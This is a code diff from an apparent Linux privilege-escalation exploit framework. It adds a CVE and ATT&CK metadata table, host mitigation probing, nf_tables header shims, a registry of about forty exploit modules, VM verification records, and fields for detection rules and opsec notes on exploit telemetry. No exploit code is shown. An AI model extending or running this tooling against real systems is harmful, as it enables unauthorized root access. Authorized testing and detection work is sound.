||||
.cve = "CVE-2021-22555",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-10-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3156",
|
||||
.cwe = "CWE-193",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-06",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-33909",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-3493",
|
||||
.cwe = "CWE-270",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-10-20",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2021-4034",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-06-27",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0185",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-08-21",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0492",
|
||||
.cwe = "CWE-287",
|
||||
.attack_technique = "T1611",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2026-06-02",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-0847",
|
||||
.cwe = "CWE-665",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2022-04-25",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-25636",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2022-2588",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0179",
|
||||
.cwe = "CWE-190",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0386",
|
||||
.cwe = "CWE-282",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-06-17",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-0458",
|
||||
.cwe = "CWE-476",
|
||||
.attack_technique = "T1082",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-2008",
|
||||
.cwe = "CWE-129",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-22809",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-32233",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-3269",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2023-4622",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-1086",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2024-05-30",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-26581",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2024-50264",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32462",
|
||||
.cwe = "CWE-863",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-32463",
|
||||
.cwe = "CWE-829",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = true,
|
||||
.kev_date_added = "2025-09-29",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2025-6019",
|
||||
.cwe = "CWE-250",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-23111",
|
||||
.cwe = "CWE-416",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-31635",
|
||||
.cwe = "CWE-130",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-41651",
|
||||
.cwe = "CWE-367",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-43494",
|
||||
.cwe = NULL,
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46243",
|
||||
.cwe = "CWE-20",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46300",
|
||||
.cwe = "CWE-787",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
{
|
||||
.cve = "CVE-2026-46333",
|
||||
.cwe = "CWE-269",
|
||||
.attack_technique = "T1068",
|
||||
.attack_subtechnique = NULL,
|
||||
.in_kev = false,
|
||||
.kev_date_added = "",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t cve_metadata_table_len =
|
||||
sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);
|
||||
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve)
|
||||
{
|
||||
if (!cve) return NULL;
|
||||
for (size_t i = 0; i < cve_metadata_table_len; i++) {
|
||||
if (strcmp(cve_metadata_table[i].cve, cve) == 0)
|
||||
return &cve_metadata_table[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
/*
|
||||
* SKELETONKEY — CVE metadata lookup
|
||||
*
|
||||
* Per-CVE annotations sourced from authoritative federal databases:
|
||||
* - CISA Known Exploited Vulnerabilities catalog (in_kev, date_added)
|
||||
* - NVD CVE API (cwe)
|
||||
* - Hand-curated MITRE ATT&CK technique mapping
|
||||
*
|
||||
* Kept separate from struct skeletonkey_module because these are
|
||||
* properties of the CVE (one CVE -> one set of values), not the
|
||||
* exploit module. Two modules covering the same CVE see the same
|
||||
* metadata. The OPSEC notes — which vary by exploit technique —
|
||||
* stay on the module struct.
|
||||
*
|
||||
* The table is auto-generated from docs/CVE_METADATA.json by
|
||||
* tools/refresh-cve-metadata.py. Do not hand-edit cve_metadata.c —
|
||||
* re-run the refresh tool.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_CVE_METADATA_H
|
||||
#define SKELETONKEY_CVE_METADATA_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct cve_metadata {
|
||||
const char *cve; /* "CVE-YYYY-NNNNN" */
|
||||
const char *cwe; /* "CWE-NNN" or NULL if NVD has no mapping */
|
||||
const char *attack_technique; /* "T1068" etc. */
|
||||
const char *attack_subtechnique; /* "T1068.001" or NULL */
|
||||
bool in_kev; /* true iff in CISA's KEV catalog */
|
||||
const char *kev_date_added; /* "YYYY-MM-DD" or "" */
|
||||
};
|
||||
|
||||
/* The full table. Length is `cve_metadata_table_len`. */
|
||||
extern const struct cve_metadata cve_metadata_table[];
|
||||
extern const size_t cve_metadata_table_len;
|
||||
|
||||
/* Lookup by CVE id (e.g. "CVE-2024-1086"). Returns NULL if the CVE
|
||||
* isn't in the table. Cheap linear scan; we have <100 entries. */
|
||||
const struct cve_metadata *cve_metadata_lookup(const char *cve);
|
||||
|
||||
#endif /* SKELETONKEY_CVE_METADATA_H */
|
||||
+11
-1
@@ -190,6 +190,7 @@ static void populate_caps(struct skeletonkey_host *h)
|
||||
h->apparmor_restrict_userns = false;
|
||||
h->unprivileged_bpf_disabled = false;
|
||||
h->kpti_enabled = false;
|
||||
h->meltdown_mitigation[0] = '\0';
|
||||
h->kernel_lockdown_active = false;
|
||||
h->selinux_enforcing = false;
|
||||
h->yama_ptrace_restricted = false;
|
||||
@@ -208,8 +209,17 @@ static void populate_caps(struct skeletonkey_host *h)
|
||||
h->yama_ptrace_restricted = (v > 0);
|
||||
|
||||
char buf[256];
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
|
||||
if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf)) {
|
||||
h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
|
||||
/* Stash the raw value so modules that need richer matching
|
||||
* (e.g. entrybleed distinguishing "Not affected" CPUs from
|
||||
* "Vulnerable" / "Mitigation: PTI") don't re-read sysfs. */
|
||||
size_t L = strlen(buf);
|
||||
if (L >= sizeof h->meltdown_mitigation)
|
||||
L = sizeof h->meltdown_mitigation - 1;
|
||||
memcpy(h->meltdown_mitigation, buf, L);
|
||||
h->meltdown_mitigation[L] = '\0';
|
||||
}
|
||||
|
||||
/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
|
||||
* — whichever level is bracketed is the active one. */
|
||||
|
||||
@@ -61,6 +61,11 @@ struct skeletonkey_host {
|
||||
bool apparmor_restrict_userns; /* sysctl: 1 = AA blocks unpriv userns */
|
||||
bool unprivileged_bpf_disabled; /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
|
||||
bool kpti_enabled; /* /sys/.../meltdown contains "Mitigation: PTI" */
|
||||
char meltdown_mitigation[64]; /* raw first line of
|
||||
* /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* — empty string if unreadable. Modules that need
|
||||
* to distinguish "Not affected" (CPU immune) from
|
||||
* "Mitigation: PTI" / "Vulnerable" can read this. */
|
||||
bool kernel_lockdown_active; /* /sys/kernel/security/lockdown != [none] */
|
||||
bool selinux_enforcing; /* /sys/fs/selinux/enforce = 1 */
|
||||
bool yama_ptrace_restricted; /* /proc/sys/kernel/yama/ptrace_scope > 0 */
|
||||
|
||||
@@ -104,6 +104,46 @@ struct skeletonkey_module {
|
||||
const char *detect_sigma; /* sigma YAML content */
|
||||
const char *detect_yara; /* yara rules content */
|
||||
const char *detect_falco; /* falco rules content */
|
||||
|
||||
/* Operational-security notes — telemetry footprint THIS specific
|
||||
* exploit leaves behind. The inverse of detect_auditd/yara/falco
|
||||
* above (the rules catch what these notes describe). Free-form
|
||||
* prose, conventionally listing: dmesg lines triggered, auditd
|
||||
* events, file artifacts created/modified, persistence side-
|
||||
* effects, recommended cleanup. Per-module (not per-CVE) because
|
||||
* different exploits for the same bug can leave different
|
||||
* footprints. NULL if no analysis written yet.
|
||||
*
|
||||
* NB: ATT&CK / CWE / KEV metadata is properties of the CVE itself
|
||||
* (independent of exploit technique) and lives in
|
||||
* core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
|
||||
* tools/refresh-cve-metadata.py. */
|
||||
const char *opsec_notes;
|
||||
|
||||
/* Architecture support for the exploit() body. detect() works on
|
||||
* any Linux arch (it just consults ctx->host); the question this
|
||||
* field answers is: if this module says VULNERABLE, will the
|
||||
* --exploit path actually fire on aarch64 / arm64? Values:
|
||||
*
|
||||
* "any" — userspace bug or arch-agnostic kernel
|
||||
* primitive (pwnkit, sudo*, pack2theroot,
|
||||
* dirty_pipe, dirty_cow, most netfilter/fs
|
||||
* bugs that use msg_msg sprays + structural
|
||||
* escapes).
|
||||
* "x86_64" — strictly x86-only (entrybleed needs
|
||||
* prefetchnta + KPTI, which doesn't apply
|
||||
* to ARM's TTBR_EL0/EL1 model).
|
||||
* "x86_64+unverified-arm64" — exploit body likely works on
|
||||
* arm64 but hasn't been verified on a real
|
||||
* arm64 host yet (e.g. copy_fail_family
|
||||
* assumes some x86_64 struct offsets;
|
||||
* --full-chain finisher uses x86_64-style
|
||||
* kernel ROP gadgets).
|
||||
*
|
||||
* NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
|
||||
* a future arm64-on-Vagrant sweep will fill these in). Surfaced
|
||||
* in --list (ARCH column) and --module-info. */
|
||||
const char *arch_support;
|
||||
};
|
||||
|
||||
#endif /* SKELETONKEY_MODULE_H */
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
/*
|
||||
* SKELETONKEY — nf_tables uapi compat shims.
|
||||
*
|
||||
* Older distro kernel headers (e.g. Ubuntu 20.04's linux-libc-dev ships
|
||||
* the 5.4 uapi; Debian 11 ships 5.10) don't define every nft attribute
|
||||
* or chain flag the exploits use. The numeric values are stable kernel
|
||||
* ABI — the target kernel understands them at runtime regardless of
|
||||
* what was present in the build host's uapi headers. Conditionally
|
||||
* define them here so modules compile against any reasonable header set.
|
||||
*
|
||||
* Sources for the numeric values:
|
||||
* include/uapi/linux/netfilter/nf_tables.h in mainline at the kernel
|
||||
* version that introduced each enum.
|
||||
*
|
||||
* Include AFTER <linux/netfilter/nf_tables.h>.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_NFT_COMPAT_H
|
||||
#define SKELETONKEY_NFT_COMPAT_H
|
||||
|
||||
#include <linux/netfilter/nf_tables.h>
|
||||
|
||||
/* ── chain flags ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFT_CHAIN_HW_OFFLOAD: kernel 5.5 (commit be0b86e0594d). Needed by
|
||||
* nft_fwd_dup_cve_2022_25636. */
|
||||
#ifndef NFT_CHAIN_HW_OFFLOAD
|
||||
#define NFT_CHAIN_HW_OFFLOAD 0x2
|
||||
#endif
|
||||
|
||||
/* NFT_CHAIN_BINDING: kernel 5.9 (commit d164385ec572). */
|
||||
#ifndef NFT_CHAIN_BINDING
|
||||
#define NFT_CHAIN_BINDING 0x4
|
||||
#endif
|
||||
|
||||
/* ── chain attrs ─────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_CHAIN_FLAGS: kernel 5.7 (commit 65038428b2c6). Ubuntu 18.04's
|
||||
* 4.15-era uapi lacks it. Position 10 in the enum
|
||||
* (NFTA_CHAIN_TABLE=1..NFTA_CHAIN_USERDATA=9, NFTA_CHAIN_FLAGS=10). */
|
||||
#ifndef NFTA_CHAIN_FLAGS
|
||||
#define NFTA_CHAIN_FLAGS 10
|
||||
#endif
|
||||
|
||||
/* NFTA_CHAIN_ID: kernel 5.13 (commit 837830a4b439). */
|
||||
#ifndef NFTA_CHAIN_ID
|
||||
#define NFTA_CHAIN_ID 11
|
||||
#endif
|
||||
|
||||
/* ── verdict attrs ──────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_VERDICT_CHAIN_ID: kernel 5.14 (commit 4ed8eb6570a4). Needed by
|
||||
* nf_tables_cve_2024_1086. */
|
||||
#ifndef NFTA_VERDICT_CHAIN_ID
|
||||
#define NFTA_VERDICT_CHAIN_ID 3 /* CODE=1, CHAIN=2, CHAIN_ID=3 */
|
||||
#endif
|
||||
|
||||
/* ── set attrs ──────────────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_DESC_CONCAT: kernel 5.6 (commit 8aeff38e08d2 — concat sets). */
|
||||
#ifndef NFTA_SET_DESC_CONCAT
|
||||
#define NFTA_SET_DESC_CONCAT 2 /* DESC_SIZE=1, DESC_CONCAT=2 */
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPR: kernel 5.12 (commit 65038428b2c6 — anon expr on sets). */
|
||||
#ifndef NFTA_SET_EXPR
|
||||
#define NFTA_SET_EXPR 13
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_EXPRESSIONS
|
||||
#define NFTA_SET_EXPRESSIONS 14
|
||||
#endif
|
||||
|
||||
/* ── set-element attrs ──────────────────────────────────────────── */
|
||||
|
||||
/* NFTA_SET_ELEM_KEY_END: kernel 5.6 (commit 7b225d0b5c5b). */
|
||||
#ifndef NFTA_SET_ELEM_KEY_END
|
||||
#define NFTA_SET_ELEM_KEY_END 7
|
||||
#endif
|
||||
|
||||
/* NFTA_SET_ELEM_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
|
||||
#ifndef NFTA_SET_ELEM_EXPRESSIONS
|
||||
#define NFTA_SET_ELEM_EXPRESSIONS 11
|
||||
#endif
|
||||
|
||||
/* ── data attrs (newer additions tend to be backported uneven) ──── */
|
||||
|
||||
/* Make sure NFTA_DATA_VERDICT and friends exist — present since 3.13;
|
||||
* here only as a tripwire if a very old header somehow lacks them. */
|
||||
#ifndef NFTA_DATA_VERDICT
|
||||
#define NFTA_DATA_VERDICT 2
|
||||
#endif
|
||||
#ifndef NFTA_DATA_VALUE
|
||||
#define NFTA_DATA_VALUE 1
|
||||
#endif
|
||||
|
||||
#endif /* SKELETONKEY_NFT_COMPAT_H */
|
||||
@@ -3,6 +3,11 @@
|
||||
*
|
||||
* Simple flat array. Resized in chunks of 16. We never expect more
|
||||
* than a few dozen modules, so this is fine.
|
||||
*
|
||||
* The canonical "register every family" enumeration lives in
|
||||
* registry_all.c — kept separate so this file links into the
|
||||
* standalone kernel_range unit-test binary without pulling in every
|
||||
* module's symbol.
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
@@ -47,5 +47,24 @@ void skeletonkey_register_vmwgfx(void);
|
||||
void skeletonkey_register_dirtydecrypt(void);
|
||||
void skeletonkey_register_fragnesia(void);
|
||||
void skeletonkey_register_pack2theroot(void);
|
||||
void skeletonkey_register_sudo_chwoot(void);
|
||||
void skeletonkey_register_udisks_libblockdev(void);
|
||||
void skeletonkey_register_pintheft(void);
|
||||
void skeletonkey_register_mutagen_astronomy(void);
|
||||
void skeletonkey_register_sudo_runas_neg1(void);
|
||||
void skeletonkey_register_tioscpgrp(void);
|
||||
void skeletonkey_register_vsock_uaf(void);
|
||||
void skeletonkey_register_nft_pipapo(void);
|
||||
void skeletonkey_register_ptrace_pidfd(void);
|
||||
void skeletonkey_register_sudo_host(void);
|
||||
void skeletonkey_register_cifswitch(void);
|
||||
void skeletonkey_register_nft_catchall(void);
|
||||
|
||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||
* Single source of truth so the main binary and the test binary stay
|
||||
* in sync — adding a new module is one register_* declaration here
|
||||
* and one call inside skeletonkey_register_all_modules() in
|
||||
* core/registry.c (the test harness picks it up automatically). */
|
||||
void skeletonkey_register_all_modules(void);
|
||||
|
||||
#endif /* SKELETONKEY_REGISTRY_H */
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
/*
|
||||
* SKELETONKEY — canonical "register every module family" enumeration.
|
||||
*
|
||||
* Kept in its own translation unit so registry.c stays standalone:
|
||||
* the kernel_range unit-test binary links registry.c (for the basic
|
||||
* register / count / find API) without pulling in every module's
|
||||
* symbol. The main binary and detect-integration test link this
|
||||
* file too and get the full lineup.
|
||||
*
|
||||
* Adding a new module is one new register_<family>() declaration in
|
||||
* registry.h plus one call below — the integration test picks it up
|
||||
* via skeletonkey_register_all_modules() in its main().
|
||||
*/
|
||||
|
||||
#include "registry.h"
|
||||
|
||||
void skeletonkey_register_all_modules(void)
|
||||
{
|
||||
skeletonkey_register_copy_fail_family();
|
||||
skeletonkey_register_dirty_pipe();
|
||||
skeletonkey_register_entrybleed();
|
||||
skeletonkey_register_pwnkit();
|
||||
skeletonkey_register_nf_tables();
|
||||
skeletonkey_register_overlayfs();
|
||||
skeletonkey_register_cls_route4();
|
||||
skeletonkey_register_dirty_cow();
|
||||
skeletonkey_register_ptrace_traceme();
|
||||
skeletonkey_register_netfilter_xtcompat();
|
||||
skeletonkey_register_af_packet();
|
||||
skeletonkey_register_fuse_legacy();
|
||||
skeletonkey_register_stackrot();
|
||||
skeletonkey_register_af_packet2();
|
||||
skeletonkey_register_cgroup_release_agent();
|
||||
skeletonkey_register_overlayfs_setuid();
|
||||
skeletonkey_register_nft_set_uaf();
|
||||
skeletonkey_register_af_unix_gc();
|
||||
skeletonkey_register_nft_fwd_dup();
|
||||
skeletonkey_register_nft_payload();
|
||||
skeletonkey_register_sudo_samedit();
|
||||
skeletonkey_register_sequoia();
|
||||
skeletonkey_register_sudoedit_editor();
|
||||
skeletonkey_register_vmwgfx();
|
||||
skeletonkey_register_dirtydecrypt();
|
||||
skeletonkey_register_fragnesia();
|
||||
skeletonkey_register_pack2theroot();
|
||||
skeletonkey_register_sudo_chwoot();
|
||||
skeletonkey_register_udisks_libblockdev();
|
||||
skeletonkey_register_pintheft();
|
||||
skeletonkey_register_mutagen_astronomy();
|
||||
skeletonkey_register_sudo_runas_neg1();
|
||||
skeletonkey_register_tioscpgrp();
|
||||
skeletonkey_register_vsock_uaf();
|
||||
skeletonkey_register_nft_pipapo();
|
||||
skeletonkey_register_ptrace_pidfd();
|
||||
skeletonkey_register_sudo_host();
|
||||
skeletonkey_register_cifswitch();
|
||||
skeletonkey_register_nft_catchall();
|
||||
}
|
||||
@@ -0,0 +1,329 @@
|
||||
/*
|
||||
* SKELETONKEY — verification records table
|
||||
*
|
||||
* AUTO-GENERATED by tools/refresh-verifications.py from
|
||||
* docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.
|
||||
*
|
||||
* Source: tools/verify-vm/verify.sh appends one JSON record per
|
||||
* run; this generator dedupes to (module, vm_box, kernel, expect)
|
||||
* and keeps the latest by verified_at.
|
||||
*/
|
||||
|
||||
#include "verifications.h"
|
||||
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
const struct verification_record verifications[] = {
|
||||
{
|
||||
.module = "af_packet",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_packet2",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "af_unix_gc",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cgroup_release_agent",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "cls_route4",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirty_pipe",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "OK",
|
||||
.actual_detect = "OK",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirtydecrypt",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.19.7-061907-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "entrybleed",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "fuse_legacy",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "netfilter_xtcompat",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nf_tables",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_fwd_dup",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.10.0-27-amd64",
|
||||
.host_distro = "Debian GNU/Linux 11 (bullseye)",
|
||||
.vm_box = "generic/debian11",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_payload",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-43-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_pipapo",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "nft_set_uaf",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.5-051505-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.4.0-169-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "overlayfs_setuid",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
